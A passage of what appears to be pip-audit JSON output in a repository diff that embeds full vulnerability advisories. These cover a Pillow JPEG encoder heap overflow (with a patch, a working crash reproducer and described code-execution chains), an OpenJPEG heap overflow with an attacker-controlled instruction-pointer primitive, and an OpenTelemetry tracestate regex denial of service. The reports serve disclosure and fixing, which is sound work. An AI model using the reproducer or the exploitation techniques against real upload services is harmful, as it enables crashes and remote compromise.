happen inside the (uninstrumented) system libjpeg-turbo; valgrind does, reporting `Invalid write ... 0 bytes after a block of size 65,569` from `jpeg_write_marker` called at `JpegEncode.c:330` before aborting on the corrupted heap metadata. ### Code path The buffer. `JpegImagePlugin._save()` sizes the encoder buffer from the metadata it is about to emit, allowing one spare byte after the extra block and nothing for the comment: ```python # src/PIL/JpegImagePlugin.py:859-862 else: # The EXIF info needs to be written as one block, + APP1, + one spare byte. # Ensure that our buffer is big enough. Same with the icc_profile block. bufsize = max(len(exif) + 5, len(extra) + 1) ``` `ImageFile._save()` then takes `max(MAXBLOCK, bufsize, width*4)` (`src/PIL/ImageFile.py:662`, `MAXBLOCK = 65536`), and `_encode()` allocates exactly that: `buf = PyBytes_FromStringAndSize(NULL, bufsize)` (`src/encode.c:134`; the real-file path `_encode_to_file()` does `malloc(bufsize)` at `src/encode.c:190`). For the input above `len(extra) == 65516`, so the buffer is 65536 bytes. The `optimize`/`progressive` branch just above (`JpegImagePlugin.py:846-858`) is not immune: its `bufsize` adds `w*h` (or `2*w*h`), but the image dimensions and the ICC length both come from the file, so an exact fit is still constructible there (e.g. with a 19\u00d71 image). The \"+1 spare byte\" does not account for what libjpeg itself has already put in the buffer: in state 1 `jpeg_start_compress(&cinfo, TRUE)` (`JpegEncode.c:279`) emits SOI + JFIF APP0, 20 bytes for an RGB source. State 3 then copies the extra block, clamped to the space remaining: ```c // src/libImaging/JpegEncode.c:302-337 case 3: if (context->extra) { unsigned int n = context->extra_size - context->extra_offset; if (n > context->destination.pub.free_in_buffer) { n = context->destination.pub.free_in_buffer; } memcpy(context->destination.pub.next_output_byte, context->extra + context->extra_offset, n); context->destination.pub.next_output_byte += n; context->destination.pub.free_in_buffer -= n; context->extra_offset += n; if (context->extra_offset >= context->extra_size) { state->state++; // done -> fall into case 4, even with free_in_buffer == 0 } else { break; } } \u2026 case 4: if (context->comment) { jpeg_write_marker(&context->cinfo, JPEG_COM, (unsigned char *)context->comment, context->comment_size); // :330 \u2014 no space check } state->state++; case 5: if (1024 > context->destination.pub.free_in_buffer) { // passes: free_in_buffer is now ~2^64 break; } \u2026 jpeg_write_scanlines(\u2026) \u2026 ``` Every other emitting state is guarded \u2014 state 2 requires `rawExifLen + 5 <= free_in_buffer` (`:287`), state 5 requires 1024 free bytes (`:340`), state 6 requires 100 (`:368`). State 4 has no guard at all. The unguarded `jpeg_write_marker()` call was introduced in `e50ae85ea406` (\"Use jpeg_write_marker to write comment\", 2022-12-05) and first shipped in 9.4.0; at 9.3.0 the same input re-saves correctly. With 20 header bytes plus 65516 extra bytes the copy consumes the buffer to the byte (`free_in_buffer == 0`) and, because the extra block is complete, control falls straight into state 4. One re-wrapped ICC APP2 segment costs 18 bytes of overhead (`JpegImagePlugin.py:788-806`), hence the 65498-byte profile payload. Pillow's destination manager cannot suspend (`empty_output_buffer()` returns FALSE, `JpegEncode.c:45-48`), which is why a *nearly* full buffer is harmless: with 1..N free bytes the comment write decrements `free_in_buffer` to 0 part-way, libjpeg raises `JERR_CANT_SUSPEND`, and the save fails with `OSError: broken data stream`. Only the exact-fit case skips that check, because libjpeg-turbo's marker writer is ```c /* jcmarker.c */ *(dest->next_output_byte)++ = (JOCTET)val; if (--dest->free_in_buffer == 0) { if (!(*dest->empty_output_buffer)(cinfo)) ERREXIT(cinfo, JERR_CANT_SUSPEND); } ``` i.e. it writes `buf[65536]` first and then wraps the counter. From there nothing limits the stream: the comment (up to 65533 attacker-chosen bytes) is written verbatim, state 5's 1024-byte check passes against the wrapped counter, and `jpeg_write_scanlines()` appends the full compressed image (\u2248100 KB for a 256\u00d7256 noisy source; proportional to the picture for larger ones). If the process survives that, `ImagingJpegEncode()` returns `next_output_byte - buf` (\u2248167000) as the byte count and `_encode()` calls `_PyBytes_Resize(&buf, 167199)` on the 65536-byte object, which is where glibc usually notices the smashed neighbouring chunk. All three ingredients come from the file. `JpegImagePlugin` reassembles APP2 `ICC_PROFILE` chunks into `im.info[\"icc_profile\"]` (`:238-241`) and stores the COM payload in `im.info[\"comment\"]` (`:194`); `_save()` forwards the comment on its own \u2014 `comment = info.get(\"comment\", im.info.get(\"comment\"))` (`:808`) \u2014 so the application only has to pass the ICC profile through, which is the standard way to keep colours correct when re-encoding (`docs/handbook/image-file-formats.rst:608`). Unlike `exif` and `xmp`, there is no length check on the comment in `_save()`. A PNG source works the same way: its `iCCP` chunk becomes `im.info[\"icc_profile\"]` and a `tEXt` chunk keyed `comment` becomes `im.info[\"comment\"]` (and, being zlib-compressed, the file is only ~60 KB); that variant was also confirmed to crash. `thumbnail()` and `convert()` carry `im.info` along, so the usual `open \u2192 thumbnail \u2192 convert(\"RGB\") \u2192 save(\"JPEG\", icc_profile=\u2026)` handler reaches the same state. `xmp=` and `extra=` feed the same `extra` block (33 bytes of overhead for the XMP APP1) and reach the same state. If the application also forwards EXIF, the exact-fit condition becomes `len(extra) + len(exif) + 4 == 65516`, both lengths again taken from the file. The comment length is irrelevant to triggering: a 17-byte `\"Created with GIMP\"` comment crashes the stock build just as reliably (SIGSEGV in `jpeg_write_scanlines`), it only changes how many of the out-of-bounds bytes are chosen verbatim by the attacker. ### What lies behind the buffer The buffer is `PyBytes_FromStringAndSize(NULL, 65536)` = `malloc(65569)`, a 0x10030-byte glibc chunk, so `buf[65536]` is the first byte of the next chunk's header. In the same `encode()` call, right after that allocation, `jpeg_start_compress()` `malloc`s libjpeg's PERMANENT pool (chunk 0xa40) and IMAGE pool (chunk 0x3f00); on a groomed or fresh heap these sit directly behind the buffer. The next thing `ImagingJpegEncode()` does after the COM write (`JpegEncode.c:352`; the state-5 room check passes because `free_in_buffer` has wrapped) is call `jpeg_write_scanlines()`, which dispatches through the method tables in that IMAGE pool before any allocator call touches the heap. In the SIGSEGV layout observed on the stock build the fault is at `jpeg_write_scanlines+133: call *0x8(%rax)` with `%rax` pointing just past the end of the buffer at memory now holding comment bytes \u2014 an indirect call through a function pointer (`cinfo->main->process_data`) read from bytes the file supplied. ## Impact Any service that accepts JPEG uploads and re-encodes them as JPEG while preserving the embedded ICC profile (`icc_profile=im.info.get(\"icc_profile\")` \u2014 thumbnailers, CMS and e-commerce image pipelines, Django/Flask upload handlers) can be made to perform a linear heap overwrite starting immediately after a 65536-byte buffer: 4 marker bytes, then up to 65533 bytes taken verbatim from the file's COM segment, then tens to hundreds of kilobytes of compressed image data. No non-default Pillow setting is involved and the file is an otherwise valid 140\u2013210 KB JPEG that decodes normally. The dependable outcome is termination of the worker process by SIGSEGV or a glibc heap-consistency abort (not a Python exception), i.e. denial of service of everything that process serves. It does not stop at a crash. Both the length and the content of the first 64 KB written out of bounds are attacker-chosen, the victim buffer is an ordinary `malloc` chunk, and what `jpeg_start_compress()` allocates directly behind it \u2014 libjpeg's PERMANENT and IMAGE pools, including the method pointers `jpeg_write_scanlines()` calls through immediately afterwards \u2014 is predictable. Against a long-lived stdlib-`http.server` worker running exactly the handler above (stock `/src` build, CPython 3.12 / glibc 2.36 / libjpeg62-turbo 2.1.5, ASLR/PIE/NX on, default Pillow settings, worker as root, attacker as uid 65534 given only the service address), this overflow was driven to shell command execution by the worker in two independent ways once library base addresses were known: (a) a JPEG with ~2400 APPn spray segments (heap grooming), the 65498-byte ICC profile and a 3020-byte COM whose bytes re-image the two libjpeg pools so that the real `grayscale_convert()` copies a chosen 384-byte scanline over `_PyRuntime`, setting `allocators.obj_arena.free = system` with `ctx` = the command \u2014 the request returns 200, the worker keeps serving, and the next pymalloc arena release runs the command (14/14 and 15/15 runs on fresh workers); (b) a 28-byte COM that rewrites the `size`/`next` of a groomed free tcache chunk sitting right behind the buffer so that Pillow's own `malloc(comment_size)` in the next JPEG save (`src/encode.c:1250`) returns `_imaging.so`'s writable `.got.plt`, the comment replaces `free` with `system`, and the encoder's cleanup `free(context->comment)` at `JpegEncode.c:376` runs the command (14/14, deterministic once groomed). The address knowledge came from separate memory-disclosure bugs in Pillow's TIFF paths that return library pointers in output pixels/tags; those are independent defects with their own fixes, but any such disclosure \u2014 present or future \u2014 is enough, and this overflow is the only memory *write* either chain needs. Fixing it reduces those leaks to disclosures rather than footholds. ## Reproducing `repro` is a single Python script. It uses the Pillow already built in `/src` and needs no rebuild. Run it as `./repro`. The last line of output is `BUG` or `OK`. The script builds a valid 256\u00d7256 baseline JPEG from deterministic noise, so the compressed image data comes to about 100 KB. Right after SOI it adds an APP2 `ICC_PROFILE` segment (sequence 1 of 1) with a payload of `65536 - 20 - 18 = 65498` bytes. When Pillow re-encodes the image, libjpeg first writes 20 bytes of SOI and JFIF APP0, and then Pillow copies the re-wrapped ICC segment: 18 bytes of header plus the payload. Together those fill the 65536-byte encoder buffer to the last byte. The constants at the top of the script spell out this arithmetic. Each file goes through the same application code in a child `python3 -X faulthandler` process: ```python im = Image.open(BytesIO(data)) im.save(BytesIO(), \"JPEG\", icc_profile=im.info[\"icc_profile\"]) ``` 1. **Control.** The file has the ICC profile but no COM segment. The save returns normally with exit status 0, which shows that the exact-fit ICC profile alone is harmless. 2. **PoC.** This is the same file plus a COM segment of 65533 `C` bytes. `JpegImagePlugin._save()` forwards `im.info[\"comment\"]` automatically. Case 4 of `ImagingJpegEncode()` writes the COM marker into the full buffer, the `free_in_buffer` counter wraps, and the comment and the entire compressed image are written past the end of the heap buffer. Expected output: the control prints `save returned normally` and `-> exit status 0`. For the PoC, faulthandler prints `Fatal Python error: Segmentation fault` (sometimes a glibc message such as `realloc(): invalid next size` followed by `Aborted`). The Python stack ends in `ImageFile._encode_tile` called from `im.save`, then `-> exit status -11` (or `-6`), and finally `BUG`. The verdict is `BUG` only if the PoC child was killed by a signal. A normal return or a Python exception such as `OSError` gives `OK`. ## Suggested fix The attached patch guards state 4 the way state 2 guards the EXIF marker: before calling `jpeg_write_marker()` it requires room for the 4-byte marker header plus the comment plus libjpeg's one-byte slack (`emit_byte` must never bring `free_in_buffer` to 0 with a non-suspending destination), and otherwise returns to the caller for a fresh buffer: ```diff --- a/src/libImaging/JpegEncode.c +++ b/src/libImaging/JpegEncode.c @@ -327,6 +327,11 @@ case 4: if (context->comment) { + // check for comment len + 'COM' header bytes + if (context->comment_size + 5 > + context->destination.pub.free_in_buffer) { + break; + } jpeg_write_marker( ``` The encoder then returns with the buffer full, `_encode_tile()` calls it again with an empty buffer, and the comment is emitted there. The C hunk is not sufficient on its own: state 4, like state 2, relies on the Python side guaranteeing that an *empty* buffer is always large enough, and a 65533-byte comment needs 65538 bytes against a 65536-byte `MAXBLOCK` buffer \u2014 with only the C guard the encoder returns 0 bytes and no error forever and `_encode_tile()` spins. The patch therefore also changes `JpegImagePlugin._save()` to reserve `len(comment) + 5` in both sizing branches (added to `bufsize` in the `optimize`/`progressive` branch, and as a third term of the `max()` in the plain branch), and normalises the comment to `bytes` first (`str` is UTF-8-encoded, `None` becomes `b\"\"`) so the length is exact for non-ASCII `str` comments; `encode.c` already UTF-8-encodes `str` via `z#`, so the bytes written are unchanged. A side effect visible to users: comments of up to 65533 bytes now save successfully in cases that previously raised `OSError: broken data stream` because the default buffer was too small. The patch adds `test_icc_big_comment` to `Tests/test_file_jpeg.py`, which round-trips a 65533-byte comment with ICC profiles sized around the exact-fit boundary; it crashes (or raises `OSError`) on the unpatched tree and passes with the patch. With the patch applied to a clean tree and rebuilt, the reproducer no longer triggers, and `Tests/test_file_jpeg.py` and `Tests/test_file_mpo.py` pass. The C guard still depends on the Python sizing to avoid a 0-byte/no-error busy loop, exactly as state 2 already does. A more defensive variant would fail with `IMAGING_CODEC_MEMORY` instead of `break` when the marker does not fit and nothing has been written to the current buffer yet (`next_output_byte == buf`), so that a sizing mistake in any caller can never turn into a busy loop. It would also be consistent with `exif`/`xmp` handling for `_save()` to reject comments longer than `MAX_BYTES_IN_MARKER` (65533) with `ValueError(\"Comment is too long\")` rather than leaving it to libjpeg's `JERR_BAD_LENGTH` \u2192 `OSError`. Independently, the \"+ 1 spare byte\" / \"+ 5\" reasoning in `_save()` under-counts by the 18\u201320 bytes `jpeg_start_compress()` writes before the EXIF/extra blocks; that is what lets attacker-sized metadata land the buffer on an exact boundary in the first place. The attached patch does not change that accounting. ## The patch Check free output-buffer space before writing the JPEG COM marker in ImagingJpegEncode, and size the encoder buffer for the comment in JpegImagePlugin._save Applies to `src/libImaging/JpegEncode.c` at the commit above. ```diff diff --git a/Tests/test_file_jpeg.py b/Tests/test_file_jpeg.py index b361aef2e..f884883c4 100644 --- a/Tests/test_file_jpeg.py +++ b/Tests/test_file_jpeg.py @@ -227,6 +227,16 @@ class TestFileJpeg: im1 = self.roundtrip(hopper(), icc_profile=icc_profile) assert im1.info.get(\"icc_profile\") == (icc_profile or None) + def test_icc_big_comment(self) -> None: + # The ICC profile may fill the encoder buffer exactly, in which case the + # comment has to be written to the next buffer + comment = b\"C\" * 65533 + for n in range(ImageFile.MAXBLOCK - 40, ImageFile.MAXBLOCK - 30): + icc_profile = b\"I\" * n + im = self.roundtrip(hopper(), icc_profile=icc_profile, comment=comment) + assert im.info[\"icc_profile\"] == icc_profile + assert im.info[\"comment\"] == comment + def test_large_icc_meta(self, tmp_path: Path) -> None: # https://github.com/python-pillow/Pillow/issues/148 # Sometimes the meta data on the icc_profile block is bigger than diff --git a/src/PIL/JpegImagePlugin.py b/src/PIL/JpegImagePlugin.py index 4b8d34ca3..1d9f4c2fa 100644 --- a/src/PIL/JpegImagePlugin.py +++ b/src/PIL/JpegImagePlugin.py @@ -805,7 +805,9 @@ def _save(im: Image.Image, fp: IO[bytes], filename: str | bytes) -> None: ) i += 1 - comment = info.get(\"comment\", im.info.get(\"comment\")) + comment = info.get(\"comment\", im.info.get(\"comment\")) or b\"\" + if isinstance(comment, str): + comment = comment.encode() # \"progressive\" is the official name, but older documentation # says \"progression\" @@ -856,10 +858,13 @@ def _save(im: Image.Image, fp: IO[bytes], filename: str | bytes) -> None: bufsize += len(exif) + 5 if extra: bufsize += len(extra) + 1 + if comment: + bufsize += len(comment) + 5 else: # The EXIF info needs to be written as one block, + APP1, + one spare byte. - # Ensure that our buffer is big enough. Same with the icc_profile block. - bufsize = max(len(exif) + 5, len(extra) + 1) + # Ensure that our buffer is big enough. Same with the icc_profile block + # and the comment (COM marker). + bufsize = max(len(exif) + 5, len(extra) + 1, len(comment) + 5) ImageFile._save( im, fp, [ImageFile._Tile(\"jpeg\", (0, 0, *im.size), 0, rawmode)], bufsize diff --git a/src/libImaging/JpegEncode.c b/src/libImaging/JpegEncode.c index 098e431fc..b6771c6ec 100644 --- a/src/libImaging/JpegEncode.c +++ b/src/libImaging/JpegEncode.c @@ -327,6 +327,11 @@ ImagingJpegEncode(Imaging im, ImagingCodecState state, UINT8 *buf, int bytes) { case 4: if (context->comment) { + // check for comment len + 'COM' header bytes + if (context->comment_size + 5 > + context->destination.pub.free_in_buffer) { + break; + } jpeg_write_marker( &context->cinfo, JPEG_COM, ``` ## The reproducer
Reproducer \u2014 repro, 3,343 bytes (click to open) Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 # Pillow heap buffer overflow in ImagingJpegEncode() (src/libImaging/JpegEncode.c, case 4). # # Re-saving a JPEG with its own ICC profile, the usual \"keep the colours\" re-encode: # im = Image.open(f); im.save(out, \"JPEG\", icc_profile=im.info[\"icc_profile\"]) # If the ICC segment fills the 65536-byte encoder buffer to the last byte, the COM # marker (forwarded from im.info[\"comment\"] automatically) is written with # free_in_buffer == 0. libjpeg stores the byte, then decrements the counter, which # wraps to ~2^64, and the comment plus the whole compressed image go past the end # of the heap buffer. The Python process dies with SIGSEGV or a glibc abort. # # Runs against the stock build in /src, no rebuild. Takes about 2 seconds. import random import struct import subprocess import sys from io import BytesIO from PIL import Image # Output-buffer layout at the moment the COM marker is written: ENCODER_BUFFER = 65536 # ImageFile.MAXBLOCK; _save() never makes it bigger here JFIF_HEADER = 20 # SOI + JFIF APP0, written by jpeg_start_compress() ICC_OVERHEAD = 18 # FFE2 \"ICC_PROFILE\\0\" ICC_PAYLOAD = ENCODER_BUFFER - JFIF_HEADER - ICC_OVERHEAD # 65498: exact fit COMMENT = b\"C\" * 65533 # largest legal COM; content and length chosen by the file # What the victim application does with an uploaded file, run in a child process # so that we can see it die. RESAVE = \"\"\" import sys from io import BytesIO from PIL import Image im = Image.open(BytesIO(sys.stdin.buffer.read())) im.save(BytesIO(), \"JPEG\", icc_profile=im.info[\"icc_profile\"]) print(\"save returned normally\") \"\"\" def segment(marker, payload): return bytes([0xFF, marker]) + struct.pack(\">H\", len(payload) + 2) + payload def make_jpeg(with_comment): \"\"\"A valid 256x256 JPEG: an ICC profile of ICC_PAYLOAD bytes, optionally a COM.\"\"\" noise = random.Random(1234).randbytes(256 * 256 * 3) # ~100 KB of image data out = BytesIO() Image.frombytes(\"RGB\", (256, 256), noise).save(out, \"JPEG\", quality=95) plain = out.getvalue() icc = segment(0xE2, b\"ICC_PROFILE\\0\\x01\\x01\" + b\"I\" * ICC_PAYLOAD) com = segment(0xFE, COMMENT) if with_comment else b\"\" return plain[:2] + icc + com + plain[2:] # splice in right after SOI def resave(jpeg): # -X faulthandler: on a fatal signal, print where in Python the child died cmd = [sys.executable, \"-X\", \"faulthandler\", \"-c\", RESAVE] r = subprocess.run(cmd, input=jpeg, capture_output=True) print((r.stdout + r.stderr).decode(errors=\"replace\").strip()) print(f\"-> exit status {r.returncode}\") return r.returncode # Control: the same file without a COM segment re-saves fine, so the buffer # sizing and the ICC profile on their own are harmless. print(\"Control: re-save the JPEG without a comment\") resave(make_jpeg(with_comment=False)) # The bug: add a COM segment. The comment is now written into a buffer that has # no room left. print(f\"\\nPoC: re-save the JPEG with a {len(COMMENT)}-byte comment\") rc = resave(make_jpeg(with_comment=True)) # A negative return code means the child was killed by a signal (SIGSEGV or # SIGABRT from glibc's heap checks), not by a Python exception. if rc < 0: print(f\"\\nim.save() killed the process with signal {-rc}: out-of-bounds heap write\") print(\"BUG\") else: print(\"OK\") ```
---"}, {"id": "GHSA-78g4-xqwv-q3g8", "fix_versions": ["13.0.0"], "aliases": [], "description": "### Summary Every Pillow wheel from 11.1.0 onward bundles a libopenjp2 containing a heap-buffer-overflow **write** that is fixed upstream on master but has never appeared in an OpenJPEG release. See https://osv.dev/vulnerability/OSV-2025-219 Because the wheel bundles its own copy, a patched host OS does not help. It is reachable from `Image.open(fp); im.load()` with default settings. I am reporting it here rather than only upstream because Pillow is where the vulnerable binary actually reaches users. Note the inversion that makes this easy to miss: **OpenJPEG 2.5.2 and earlier are safe.** The bug was introduced in `954c6e3c` (2024-06-25), so keeping the dependency current is what creates the exposure. ### Details ## Affected wheels From `.github/dependencies.json` (`openjpeg`) at each tag: | Pillow | bundled OpenJPEG | status | |---|---|---| | 10.4.0 | 2.5.2 | safe | | 11.0.0 | 2.5.2 | safe | | **11.1.0, 11.2.1, 11.3.0** | **2.5.3** | **affected** | | **12.0.0 \u2026 12.3.0** | **2.5.4** | **affected** | Confirmed on an installed wheel: `PIL.features.version_codec('jpg_2000')` \u2192 `2.5.4`, bundled file `pillow.libs/libopenjp2-*.so.2.5.4`. `main` still pins `2.5.4` as of 2026-10-06. ## The defect `src/lib/openjp2/j2k.c`, in `opj_j2k_read_sod`: ```c OPJ_UINT32 l_current_tile_part = l_cstr_index->tile_index[p_j2k->m_current_tile_number].current_tpsno; l_cstr_index->tile_index[...].tp_index[l_current_tile_part].end_header = l_current_pos; l_cstr_index->tile_index[...].tp_index[l_current_tile_part].end_pos = l_current_pos + p_j2k->m_specific_param.m_decoder.m_sot_length + 2; ``` `tp_index` is neither null-checked nor bounds-checked, and `l_current_tile_part` comes directly from the one-byte `TPsot` field of the SOT marker. The correct guard already exists a few lines later in `opj_j2k_add_tlmarker` (j2k.c:8459), writing the **same array at the same index** behind `if (tp_index && l_current_tile_part < nb_tps)`. One writer checked, its sibling not. Reached by giving the codestream a *valid* TLM marker \u2014 so `tp_index` is allocated once by `opj_j2k_build_tp_index_from_tlm`, sized to the TLM entry count, and `opj_j2k_read_sot` then skips all resizing \u2014 while setting `TNsot = 0` in every SOT, which keeps the TLM \"valid\" and lets `TPsot` walk past the allocation. ## Patch status Fixed upstream in `91d08b11` (\"Fix heap buffer overlfow in opj_j2k_read_sod\", 2026-02-10). The newest OpenJPEG tag is **v2.5.4 (2025-09-20)**, and `compare/v2.5.4...91d08b11` reports *ahead 6, behind 0* \u2014 the fix is **in no release, 8 months on**. ## Suggested remediation 1. Carry `91d08b11` as a patch in the wheel build until an OpenJPEG release includes it \u2014 three lines, identical to a guard already present in the same file. 2. Consider asking OpenJPEG to cut a release; they have had an unreleased memory-corruption fix on master since February 2026, and every distro is shipping the vulnerable code. 3. Your security handbook already tells applications to block EPS at the application layer. A similarly explicit note that `Image.open()` ignores filename/Content-Type and will reach any compiled-in codec unless `formats=` is passed would help downstream apps a lot. ## Not a Pillow bug, but relevant: the extension allowlist most apps rely on does not apply `Image.open()` sniffs magic bytes, so a JPEG 2000 codestream in a file named `avatar.png` declared `Content-Type: image/png` reaches the JP2 decoder anyway. I verified this against a production service documenting PNG/JPEG-only uploads: it accepted and fully decoded a JP2 through exactly that path, with 16 formats reachable from one upload endpoint against 43 registered openers. That service has since fixed it by passing `formats=` and validating on the detected format rather than the client's `Content-Type`. That is the reason a decoder-level issue like this one has much wider reach than downstream maintainers tend to assume. ### Proof of concept ASan build of OpenJPEG 2.5.4 interposed under a **stock Pillow 12.3.0**, running `Image.open(p); im.load()`: ``` ==766332==ERROR: AddressSanitizer: heap-buffer-overflow WRITE of size 8 #0 opj_j2k_read_sod j2k.c:5086 #1 opj_j2k_read_tile_header j2k.c:9912 #2 opj_read_tile_header openjpeg.c:575 #3 j2k_decode_entry src/libImaging/Jpeg2KDecode.c:793 #4 ImagingJpeg2KDecode src/libImaging/Jpeg2KDecode.c:949 #5 _decode src/decode.c:132 located 8 bytes to the right of a 24-byte region allocated by opj_j2k_build_tp_index_from_tlm j2k.c:8939 ``` Frames 3\u20135 are Pillow's own decoder, not a synthetic harness. No non-default decoder options are involved; strict mode is on, which is Pillow's behaviour since Pillow never calls `opj_decoder_set_strict_mode`. A benign twin image runs the same path cleanly and returns a valid image, so this is the payload and not a parse failure. I have deliberately **not** attached the PoC file to this initial report. I'm happy to attach the PoC, the builder script and the RIP-control harness here on request, or hold everything until a fix is ready. No disclosure deadline from me; I will not publish anything while this is being worked on. ### Impact Any application that calls `Image.open()` / `im.load()` on an image it did not produce \u2014 the overwhelmingly common case for upload handlers, thumbnailers and preview pipelines \u2014 can be made to perform an out-of-bounds heap write by supplying one crafted file. **Floor, already certain.** On a stock non-sanitised wheel the overflow performs 245 writes walking to +5856 bytes past a 24-byte allocation, and glibc's own heap-metadata checker aborts the process (`corrupted size vs. prev_size`, `corrupted double-linked list`, SIGABRT). One file reliably kills a long-lived worker. **Ceiling, demonstrated as a primitive but not as a finished exploit.** With same-size-class objects alive on both sides \u2014 an ordinary busy heap \u2014 the walk crosses `opj_event_mgr_t`, which holds three `opj_msg_callback` function pointers, and `opj_event_msg` then calls one (event.c:136): ``` rip 0x4000 <- value chosen by the attacker's file layout rsi 0x3ff2 <- m_error_data, written by the same walk ``` Shifting the codestream with a COM marker moves `rip` with it (`0x16ce` \u2192 `0x4000`), so the instruction pointer is attacker-**chosen** rather than incidentally invalid. A benign control image leaves the same groomed heap untouched. To be explicit about what I did not do: I have **not** built a working exploit. That additionally needs remote heap grooming and an ASLR defeat, and I attempted neither. I am reporting a controlled control-flow primitive, not a finished chain. The CVSS AC:H reflects that."}]}, {"name": "protobuf", "version": "7.36.2", "vulns": []}, {"name": "psycopg-binary", "version": "3.2.9", "vulns": []}, {"name": "psycopg-pool", "version": "3.3.3", "vulns": []}, {"name": "psycopg", "version": "3.2.9", "vulns": []}, {"name": "pycparser", "version": "3.0", "vulns": []}, {"name": "pydantic", "version": "2.14.3", "vulns": []}, {"name": "pydantic-core", "version": "2.50.4", "vulns": []}, {"name": "python-dateutil", "version": "2.9.0.post0", "vulns": []}, {"name": "redis", "version": "5.2.1", "vulns": []}, {"name": "requests", "version": "2.34.2", "vulns": []}, {"name": "s3transfer", "version": "0.13.1", "vulns": []}, {"name": "six", "version": "1.17.0", "vulns": []}, {"name": "starlette", "version": "1.7.0", "vulns": []}, {"name": "typing-inspection", "version": "0.4.5", "vulns": []}, {"name": "typing-extensions", "version": "4.16.0", "vulns": []}, {"name": "urllib3", "version": "2.8.0", "vulns": []}, {"name": "uvicorn", "version": "0.34.2", "vulns": []}, {"name": "zipp", "version": "4.1.2", "vulns": []}], "fixes": []} diff --git a/evidence/pip-audit-final.stderr.txt b/evidence/pip-audit-final.stderr.txt new file mode 100644 index 0000000..69100e3 --- /dev/null +++ b/evidence/pip-audit-final.stderr.txt @@ -0,0 +1,3 @@ +WARNING:pip_audit._cli:--no-deps is supported, but users are encouraged to fully hash their pinned dependencies +WARNING:pip_audit._cli:Consider using a tool like `pip-compile`: https://pip-tools.readthedocs.io/en/latest/#using-hashes +Found 39 known vulnerabilities in 1 package diff --git a/evidence/pip-audit.json b/evidence/pip-audit.json new file mode 100644 index 0000000..413dbdc --- /dev/null +++ b/evidence/pip-audit.json @@ -0,0 +1 @@ +{"dependencies": [{"name": "annotated-types", "version": "0.8.0", "vulns": []}, {"name": "anyio", "version": "4.15.1", "vulns": []}, {"name": "argon2-cffi", "version": "23.1.0", "vulns": []}, {"name": "argon2-cffi-bindings", "version": "26.1.0", "vulns": []}, {"name": "boto3", "version": "1.40.18", "vulns": []}, {"name": "botocore", "version": "1.40.76", "vulns": []}, {"name": "certifi", "version": "2026.10.23", "vulns": []}, {"name": "cffi", "version": "2.0.0", "vulns": []}, {"name": "charset-normalizer", "version": "3.5.2", "vulns": []}, {"name": "click", "version": "8.5.0", "vulns": []}, {"name": "fastapi", "version": "0.115.12", "vulns": []}, {"name": "googleapis-common-protos", "version": "1.76.0", "vulns": []}, {"name": "h11", "version": "0.16.0", "vulns": []}, {"name": "idna", "version": "3.20", "vulns": []}, {"name": "importlib-metadata", "version": "8.7.1", "vulns": []}, {"name": "jmespath", "version": "1.1.0", "vulns": []}, {"name": "opentelemetry-api", "version": "1.38.0", "vulns": [{"id": "CVE-2026-114603", "fix_versions": ["1.45.1"], "aliases": ["GHSA-xcq7-p3pf-p88h"], "description": "## Summary `TraceState.from_header` splits the inbound W3C `tracestate` header with a regular expression that starts with an unbounded optional-whitespace run, and no length limit is applied first. A run of spaces or tabs that is not followed by a comma costs O(N\u00b2) CPU. A single unauthenticated request with a ~100 KB `tracestate` keeps the handling worker busy for ~6 s (spaces) to ~12 s (tabs); under an asyncio server it blocks every other connection for that time. ## Affected component / version - Package: `opentelemetry-api` (pip) \u2014 `opentelemetry/trace/span.py` (`TraceState.from_header`), reached from `opentelemetry/trace/propagation/tracecontext.py` (`TraceContextTextMapPropagator.extract`). - Confirmed in `main` (5e8083e8) and in the v1.44.0 and v1.45.0 tags; the same pattern is present back to v1.0.0 (introduced by #1599, March 2021). Not exhaustively verified against every release in between. - Reachable with the default propagators (`OTEL_PROPAGATORS` defaults to `tracecontext,baggage`) from any server instrumentation that calls `propagate.extract()`, for example `opentelemetry-instrumentation-asgi`. ## Details 1. The header reaches the parser without any length check: ```python # opentelemetry-api/src/opentelemetry/trace/propagation/tracecontext.py:57 tracestate_headers = getter.get(carrier, self._TRACESTATE_HEADER_NAME) # <-- attacker-controlled request header(s), any size if tracestate_headers is None: tracestate = None else: tracestate = TraceState.from_header(tracestate_headers) # <-- no length check before parsing (line 61) ``` 2. The split pattern and the parser: ```python # opentelemetry-api/src/opentelemetry/trace/span.py:45 _TRACECONTEXT_MAXIMUM_TRACESTATE_KEYS = 32 # <-- only enforced later, in TraceState.__init__, after the split _delimiter_pattern = re.compile(r\"[ \\t]*,[ \\t]*\") # <-- (line 46) starts with an unbounded [ \\t]* # span.py:382 @classmethod def from_header(cls, header_list: list[str]) -> TraceState: pairs = {} # type: dict[str, str] for header in header_list: members: list[str] = re.split(_delimiter_pattern, header) # <-- (line 400) VULNERABLE: O(N^2) on \"a=b\" + \" \" * N + \"x\" for member in members: if not member: continue match = _member_pattern.fullmatch(member) if not match: _logger.warning( # <-- also logs the entire malformed member (up to the whole header) \"Member doesn't match the w3c identifiers format %s\", member, ) return cls() ... ``` `re.split` tries the pattern at every offset. At each offset inside a whitespace run, `[ \\t]*` consumes the rest of the run, finds no `,`, backtracks and fails, then the engine moves one character forward and repeats. N characters \u00d7 up to N steps each = O(N\u00b2). The 32-member limit never gets a chance to run because `split` has to finish first. 3. The sibling propagator already has the missing guard: ```python # baggage/propagation/__init__.py:68 _MAX_HEADER_LENGTH = 8192 ... if len(header.encode()) > self._MAX_HEADER_LENGTH: # <-- (line 93) rejected before any regex runs; tracestate has no equivalent _logger.warning(...) return context ``` A 16 KiB header costs \u2248 0.25 s and an 8 KiB header \u2248 0.07 s. Measured cost of `extract()` on one core (valid `traceparent`, `tracestate: \"a=b\" + N spaces + \"x\"`): the time quadruples each time N doubles (see the proof of concept). Roughly 0.06 s at 10,000 characters, 1 s at 40,000, 4 s at 80,000, 9 s at 100,000 (tabs are about 1.6\u00d7 slower). Whether a server lets such a header through (header-size limits, tested): gunicorn rejects \u2265 8190 bytes (response code 431); `uvicorn --http h11` rejects above 16 KiB (400); waitress accepts up to 256 KiB (200 KB accepted, 300 KB rejected); `uvicorn --http httptools` \u2014 the default parser with `uvicorn[standard]` \u2014 accepted 300 KB, 1 MB, 5 MB and 20 MB `tracestate` headers. ## Proof of concept ### A. Show the quadratic cost (no server needed) 1. Install the API: `pip install opentelemetry-api` (any version from 1.0 up to the current main is affected). 2. Save as `poc_tracestate.py`: ```python import logging import time from 